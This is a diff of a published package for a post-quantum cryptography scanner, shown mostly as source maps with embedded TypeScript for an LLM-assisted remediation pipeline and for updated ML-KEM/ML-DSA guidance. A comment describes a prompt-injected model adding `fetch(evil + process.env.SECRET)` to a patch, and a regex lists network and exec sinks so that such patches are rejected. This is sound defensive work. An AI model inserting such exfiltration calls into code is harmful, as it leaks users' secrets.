AAO,IAAI,QAAQ,EAAE,CAAC;QAC/B,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,CAAC,CAAC;QAChD,MAAM,KAAK,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QACvD,IAAI,CAAC,KAAK,EAAE,CAAC;YACX,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,gCAAgC,EAAE,CAAC,CAAC;YACrE,SAAS;QACX,CAAC;QACD,MAAM,QAAQ,GAAG,gBAAgB,CAAC,KAAK,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;QACtD,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,CAAC;YACtB,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,QAAQ,CAAC,MAAM,IAAI,0BAA0B,EAAE,CAAC,CAAC;YAClF,SAAS;QACX,CAAC;QACD,2EAA2E;QAC3E,4DAA4D;QAC5D,IAAI,KAAK,CAAC,MAAM,KAAK,KAAK,EAAE,CAAC;YAC3B,MAAM,IAAI,GAAG,YAAY,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC;YAC1C,IAAI,IAAI,EAAE,CAAC;gBACT,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,CAAC,CAAC;gBACzC,SAAS;YACX,CAAC;QACH,CAAC;QACD,MAAM,MAAM,GAAG,SAAS,CAAC,OAAO,EAAE,EAAE,QAAQ,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAChF,MAAM,KAAK,GAAG,SAAS,CAAC,KAAK,CAAC,UAAU,EAAE,EAAE,QAAQ,EAAE,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAC7E,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,KAAK,EAAE,OAAO,CAAC,EAAE,CAAC;YAC1C,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,wCAAwC,EAAE,CAAC,CAAC;YAC7E,SAAS;QACX,CAAC;QACD,OAAO,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;IACnC,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,CAAC;AAC/B,CAAC","sourcesContent":["/**\n * The remediation pipeline: turn candidate patches (from codemods or the LLM)\n * into VERIFIED, in-policy patches. Pure and deterministic — the verify gate\n * runs `verifyFix` on the patched content in memory, so this needs no\n * filesystem or git. Callers (the `qremediate` CLI) decide what to DO with the\n * verified patches (print a diff, write them, or open a PR in a worktree).\n *\n * Two gates, both must pass:\n *   1. patch-policy   — the patch may only touch sanctioned files.\n *   2. verify_fix     — the patched content clears the target finding, adds no\n *                       new finding type, and nets fewer findings than before.\n */\nimport type { Finding } from \"./types.js\";\nimport type { Patch } from \"./agent-types.js\";\nimport { checkPatchPolicy } from \"./patch-policy.js\";\nimport type { PolicyContext } from \"./patch-policy.js\";\nimport { verifyFix } from \"./verify.js\";\n\nexport interface VerifiedPatch {\n  finding: Finding;\n  patch: Patch;\n}\nexport interface RejectedPatch {\n  finding: Finding;\n  reason: string;\n}\nexport interface RemediationResult {\n  applied: VerifiedPatch[];\n  rejected: RejectedPatch[];\n}\n\nexport interface RemediateOptions {\n  /** Current content of the file a finding lives in. */\n  readContent: (finding: Finding) => Promise<string> | string;\n  /** Produce a candidate patch for a finding (codemod or LLM), or null. */\n  patchSource: (finding: Finding, content: string) => Promise<Patch | null> | Patch | null;\n  /** Which files a patch is allowed to touch. */\n  policy: PolicyContext;\n}\n\n/** True when `after` is a strict improvement over `before` for `finding`. */\nfunction passesVerify(before: Finding[], after: Finding[], finding: Finding): boolean {\n  const targetGone = !after.some((x) => x.ruleId === finding.ruleId);\n  const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));\n  return targetGone && noNewRuleTypes && after.length < before.length;\n}\n\n/**\n * Exfiltration / RCE primitives an LLM \"crypto fix\" should never *newly*\n * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to\n * the rest of a full-file rewrite, so an injected/hostile model could drop the\n * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard\n * runs ONLY on `source: \"llm\"` patches (codemods are deterministic + trusted).\n */\nconst NEW_SINK_RE =\n  /\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime|require\\s*\\(\\s*['\"](?:child_process|http|https|net|dns|dgram)['\"]|import\\s*\\(\\s*['\"](?:child_process|http|https|net|dns|dgram)['\"])/g;\n\n/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix\n * is localized; a sprawling rewrite is not reviewable as \"just the fix\". */\nexport const LLM_PATCH_MAX_CHANGED_LINES = 60;\n\nfunction countMatches(re: RegExp, s: string): number {\n  return (s.match(re) ?? []).length;\n}\n\n/** Changed lines (removed + added) between two revisions, ignoring the shared\n * prefix/suffix — same shape the CLI's unified-diff uses. */\nfunction changedLineCount(before: string, after: string): number {\n  const a = before.split(\"\\n\");\n  const b = after.split(\"\\n\");\n  let start = 0;\n  while (start < a.length && start < b.length && a[start] === b[start]) start++;\n  let endA = a.length - 1;\n  let endB = b.length - 1;\n  while (endA >= start && endB >= start && a[endA] === b[endB]) {\n    endA--;\n    endB--;\n  }\n  return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);\n}\n\n/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */\nfunction llmPatchRisk(before: string, patch: Patch): string | null {\n  if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {\n    return \"LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually\";\n  }\n  const changed = changedLineCount(before, patch.newContent);\n  if (changed > LLM_PATCH_MAX_CHANGED_LINES) {\n    return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;\n  }\n  return null;\n}\n\n/**\n * Run each finding through patchSource → policy → verify, collecting the patches\n * that survive both gates and the reasons the rest were dropped.\n */\nexport async function remediateFindings(\n  findings: readonly Finding[],\n  opts: RemediateOptions,\n): Promise<RemediationResult> {\n  const applied: VerifiedPatch[] = [];\n  const rejected: RejectedPatch[] = [];\n\n  for (const finding of findings) {\n    const content = await opts.readContent(finding);\n    const patch = await opts.patchSource(finding, content);\n    if (!patch) {\n      rejected.push({ finding, reason: \"no deterministic fix available\" });\n      continue;\n    }\n    const decision = checkPatchPolicy(patch, opts.policy);\n    if (!decision.allowed) {\n      rejected.push({ finding, reason: decision.reason ?? \"rejected by patch policy\" });\n      continue;\n    }\n    // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only\n    // verify step can't provide (new-sink + change-size bound).\n    if (patch.source === \"llm\") {\n      const risk = llmPatchRisk(content, patch);\n      if (risk) {\n        rejected.push({ finding, reason: risk });\n        continue;\n      }\n    }\n    const before = verifyFix(content, { filename: finding.location.file }).findings;\n    const after = verifyFix(patch.newContent, { filename: patch.path }).findings;\n    if (!passesVerify(before, after, finding)) {\n      rejected.push({ finding, reason: \"patch did not pass the verify_fix gate\" });\n      continue;\n    }\n    applied.push({ finding, patch });\n  }\n\n  return { applied, rejected };\n}\n"]}

package/dist/remediate-request.js.map

@@ -1 +1 @@
-{"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CAAC;IAC/C,UAAU,EAAE;QACV,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QACxB,UAAU,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC"}
+{"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CAAC;IAC/C,UAAU,EAAE;QACV,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QACxB,UAAU,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC","sourcesContent":["/**\n * Remediation rubric, fix schema, and request-bundle builder — offline and\n * deterministic, shared by `@quantakrypto/agent` (which prompts a model with\n * them) and the MCP `remediate_findings` tool (which hands the bundle to the\n * host agent). Keeping them here means the MCP server stays offline/key-free.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\nimport { buildContext } from \"./redact.js\";\n\n/** The system rubric for a fix proposal. */\nexport const REMEDIATE_RUBRIC =\n  \"You are a post-quantum cryptography migration engineer. Given the FULL content \" +\n  \"of one source file plus a finding describing classical (quantum-vulnerable) \" +\n  \"cryptography in it, return the FULL corrected file content that removes the \" +\n  \"flagged usage, migrating to a post-quantum or hybrid construction \" +\n  \"(ML-KEM-768 / ML-DSA-65, hybrid X25519MLKEM768) where a safe replacement \" +\n  \"exists. Change as little as possible; preserve all other code and formatting \" +\n  \"exactly. If you cannot safely fix it, return newContent identical to the \" +\n  \"input. NEVER invent or alter secrets/keys. After proposing, VERIFY with the \" +\n  \"verify_fix tool and keep only fixes that clear the finding.\";\n\n/** JSON Schema every fix proposal must satisfy. */\nexport const FIX_REQUEST_SCHEMA: Record<string, unknown> = {\n  type: \"object\",\n  required: [\"path\", \"newContent\", \"explanation\"],\n  properties: {\n    path: { type: \"string\" },\n    newContent: { type: \"string\" },\n    explanation: { type: \"string\" },\n  },\n};\n\n/** A remediation request bundle for the host agent. */\nexport interface RemediateRequest {\n  instructions: string;\n  schema: Record<string, unknown>;\n  contexts: RedactedContext[];\n}\n\n/** Build a remediation request bundle (offline; metadata level unless `readContent`). */\nexport function buildRemediateRequest(\n  findings: readonly Finding[],\n  level: ContextLevel = \"metadata\",\n  readContent?: (finding: Finding) => string,\n): RemediateRequest {\n  const effectiveLevel: ContextLevel = readContent ? level : \"metadata\";\n  const contexts = findings.map((f) =>\n    buildContext(f, effectiveLevel, readContent ? readContent(f) : \"\"),\n  );\n  return { instructions: REMEDIATE_RUBRIC, schema: FIX_REQUEST_SCHEMA, contexts };\n}\n"]}

package/dist/remediation.d.ts

@@ -1,8 +1,9 @@
 /**
  * Post-quantum remediation guidance for each classical asymmetric algorithm
- * family. The recommendations follow NIST's standardized PQC algorithms
- * (ML-KEM / FIPS 203, ML-DSA / FIPS 204, SLH-DSA / FIPS 205) and the IETF
- * hybrid key-exchange drafts (X25519MLKEM768).
+ * family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
+ * (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid
+ * key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
+ * standards to track are captured in {@link PQC_TRANSITION_NOTE}.
  */
 import type { AlgorithmFamily, Remediation } from "./types.js";
 /** Look up the recommended post-quantum remediation for a classical algorithm. */
@@ -47,6 +48,11 @@ export declare function remediationForTier(algorithm: AlgorithmFamily, tier?: Se
  * low-volume signing root is appropriate.
  */
 export declare const STATEFUL_HBS_NOTE: string;
+/**
+ * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
+ * targets. Surfaced for operators planning multi-year migrations.
+ */
+export declare const PQC_TRANSITION_NOTE: string;
 /** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
 export declare function statefulHbsApplies(algorithm: AlgorithmFamily): boolean;
 //# sourceMappingURL=remediation.d.ts.map

package/dist/remediation.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAkF/D,kFAAkF;AAClF,wBAAgB,cAAc,CAAC,SAAS,EAAE,eAAe,GAAG,WAAW,GAAG,SAAS,CAElF;AAED,uFAAuF;AACvF,wBAAgB,eAAe,CAAC,SAAS,EAAE,eAAe,GAAG,MAAM,CAElE;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAS3E;AAED,qFAAqF;AACrF,wBAAgB,iBAAiB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAIrE;AAMD;;;;;GAKG;AACH,MAAM,MAAM,YAAY,GAAG,YAAY,GAAG,YAAY,CAAC;AAEvD,+CAA+C;AAC/C,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,YAAY,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CAW9F,CAAC;AAEF;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,SAAS,EAAE,eAAe,EAC1B,IAAI,GAAE,YAA2B,GAChC,WAAW,CAUb;AAED;;;;;;GAMG;AACH,eAAO,MAAM,iBAAiB,QAKO,CAAC;AAEtC,oFAAoF;AACpF,wBAAgB,kBAAkB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAGtE"}
+{"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAoF/D,kFAAkF;AAClF,wBAAgB,cAAc,CAAC,SAAS,EAAE,eAAe,GAAG,WAAW,GAAG,SAAS,CAElF;AAED,uFAAuF;AACvF,wBAAgB,eAAe,CAAC,SAAS,EAAE,eAAe,GAAG,MAAM,CAElE;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAS3E;AAED,qFAAqF;AACrF,wBAAgB,iBAAiB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAIrE;AAMD;;;;;GAKG;AACH,MAAM,MAAM,YAAY,GAAG,YAAY,GAAG,YAAY,CAAC;AAEvD,+CAA+C;AAC/C,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,YAAY,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CAW9F,CAAC;AAEF;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,SAAS,EAAE,eAAe,EAC1B,IAAI,GAAE,YAA2B,GAChC,WAAW,CA2Bb;AAED;;;;;;GAMG;AACH,eAAO,MAAM,iBAAiB,QAKO,CAAC;AAEtC;;;GAGG;AACH,eAAO,MAAM,mBAAmB,QAMkC,CAAC;AAEnE,oFAAoF;AACpF,wBAAgB,kBAAkB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAGtE"}

package/dist/remediation.js

@@ -48,17 +48,19 @@ const REMEDIATIONS = {
     },
     X448: {
         algorithm: "X448",
-        recommendation: "hybrid X25519MLKEM768 (ML-KEM-768)",
+        recommendation: "hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)",
         detail: "X448 (Goldilocks curve) is a modern classical key-agreement primitive at a " +
             "higher classical security level, but it is still broken by Shor's algorithm. " +
-            "Adopt a hybrid PQC KEM (X25519MLKEM768 / ML-KEM-768) during the transition.",
+            "To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid " +
+            "(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.",
     },
     ECIES: {
         algorithm: "ECIES",
-        recommendation: "ML-KEM-768 hybrid encryption",
+        recommendation: "ML-KEM-768 hybrid encryption (X-Wing for HPKE)",
         detail: "ECIES relies on classical ECDH for its key encapsulation and is exposed to " +
-            "harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203), " +
-            "preferably in a hybrid construction.",
+            "harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in " +
+            "a hybrid construction — for HPKE-style application-layer encryption, X-Wing " +
+            "(X25519 + ML-KEM-768) is the emerging hybrid KEM target.",
     },
     unknown: {
         algorithm: "unknown",
@@ -117,7 +119,22 @@ export function remediationForTier(algorithm, tier = "category-3") {
     const base = REMEDIATIONS[algorithm];
     const params = TIER_PARAMS[tier];
     // Confidentiality families lean on the KEM; signature families on the signer.
-    const primary = isConfidentialityFamily(algorithm) ? params.kem : params.signature;
+    const isConf = isConfidentialityFamily(algorithm);
+    const primary = isConf ? params.kem : params.signature;
+    // Category-5 (CNSA 2.0 / NSS) mandates the ML-KEM-1024 / ML-DSA-87 parameter
+    // sets and must NOT surface the category-3 X25519MLKEM768 hybrid (its PQC
+    // component is ML-KEM-768 — sub-CNSA). Lead with the mandated set; only point
+    // at a hybrid TLS group at the 1024 level (audit: quantum #1, crypto S5).
+    if (tier === "category-5") {
+        const hybridNote = isConf
+            ? " If a hybrid TLS group is required, use SecP384r1MLKEM1024 (draft-ietf-tls-ecdhe-mlkem) — not X25519MLKEM768, whose ML-KEM-768 component does not meet CNSA 2.0."
+            : "";
+        return {
+            algorithm,
+            recommendation: `${primary} — CNSA 2.0 mandates this parameter set (hybrids optional)`,
+            detail: `${base.detail} ${params.note} For CNSA 2.0 / national-security systems use ${params.kem} (KEM) and ${params.signature} (signatures).${hybridNote}`,
+        };
+    }
     return {
         algorithm,
         recommendation: `${base.recommendation} — ${tier}: ${primary}`,
@@ -136,6 +153,16 @@ export const STATEFUL_HBS_NOTE = "For firmware / secure-boot signing, the statef
     "but they are STATEFUL: the signer must never reuse a one-time key index. " +
     "Use only with rigorous state management; otherwise prefer stateless ML-DSA " +
     "(FIPS 204) or SLH-DSA (FIPS 205).";
+/**
+ * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
+ * targets. Surfaced for operators planning multi-year migrations.
+ */
+export const PQC_TRANSITION_NOTE = "Migration urgency: NIST IR 8547 deprecates classical public-key crypto after " +
+    "2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data " +
+    "must move sooner. Standards to track: HQC (NIST's code-based backup KEM, " +
+    "selected March 2025; draft FIPS expected ~2026) as a diversity hedge against " +
+    "ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and " +
+    "X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.";
 /** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
 export function statefulHbsApplies(algorithm) {
     // Signature families only — LMS/XMSS are signatures, not KEMs.

package/dist/remediation.js.map

@@ -1 +1 @@
-{"version":3,"file":"remediation.js","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"remediation.js","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AASA,8DAA8D;AAC9D,MAAM,YAAY,GAAyC;IACzD,GAAG,EAAE;QACH,SAAS,EAAE,KAAK;QAChB,cAAc,EAAE,yDAAyD;QACzE,MAAM,EACJ,4EAA4E;YAC5E,2EAA2E;YAC3E,gEAAgE;KACnE;IACD,IAAI,EAAE;QACJ,SAAS,EAAE,MAAM;QACjB,cAAc,EAAE,oCAAoC;QACpD,MAAM,EACJ,6EAA6E;YAC7E,gFAAgF;YAChF,2DAA2D;KAC9D;IACD,KAAK,EAAE;QACL,SAAS,EAAE,OAAO;QAClB,cAAc,EAAE,sBAAsB;QACtC,MAAM,EACJ,6EAA6E;YAC7E,8EAA8E;YAC9E,wBAAwB;KAC3B;IACD,KAAK,EAAE;QACL,SAAS,EAAE,OAAO;QAClB,cAAc,EAAE,sBAAsB;QACtC,MAAM,EACJ,+EAA+E;YAC/E,iFAAiF;KACpF;IACD,EAAE,EAAE;QACF,SAAS,EAAE,IAAI;QACf,cAAc,EAAE,oCAAoC;QACpD,MAAM,EACJ,2EAA2E;YAC3E,6EAA6E;KAChF;IACD,GAAG,EAAE;QACH,SAAS,EAAE,KAAK;QAChB,cAAc,EAAE,sBAAsB;QACtC,MAAM,EACJ,gFAAgF;YAChF,0DAA0D;KAC7D;IACD,MAAM,EAAE;QACN,SAAS,EAAE,QAAQ;QACnB,cAAc,EAAE,oCAAoC;QACpD,MAAM,EACJ,gFAAgF;YAChF,gFAAgF;YAChF,+CAA+C;KAClD;IACD,IAAI,EAAE;QACJ,SAAS,EAAE,MAAM;QACjB,cAAc,EAAE,+CAA+C;QAC/D,MAAM,EACJ,6EAA6E;YAC7E,+EAA+E;YAC/E,yEAAyE;YACzE,qEAAqE;KACxE;IACD,KAAK,EAAE;QACL,SAAS,EAAE,OAAO;QAClB,cAAc,EAAE,gDAAgD;QAChE,MAAM,EACJ,6EAA6E;YAC7E,gFAAgF;YAChF,8EAA8E;YAC9E,0DAA0D;KAC7D;IACD,OAAO,EAAE;QACP,SAAS,EAAE,SAAS;QACpB,cAAc,EAAE,mCAAmC;QACnD,MAAM,EACJ,6EAA6E;YAC7E,yEAAyE;KAC5E;CACF,CAAC;AAEF,kFAAkF;AAClF,MAAM,UAAU,cAAc,CAAC,SAA0B;IACvD,OAAO,YAAY,CAAC,SAAS,CAAC,CAAC;AACjC,CAAC;AAED,uFAAuF;AACvF,MAAM,UAAU,eAAe,CAAC,SAA0B;IACxD,OAAO,YAAY,CAAC,SAAS,CAAC,CAAC,cAAc,CAAC;AAChD,CAAC;AAED;;;;;;GAMG;AACH,MAAM,UAAU,uBAAuB,CAAC,SAA0B;IAChE,OAAO,CACL,SAAS,KAAK,KAAK;QACnB,SAAS,KAAK,MAAM;QACpB,SAAS,KAAK,IAAI;QAClB,SAAS,KAAK,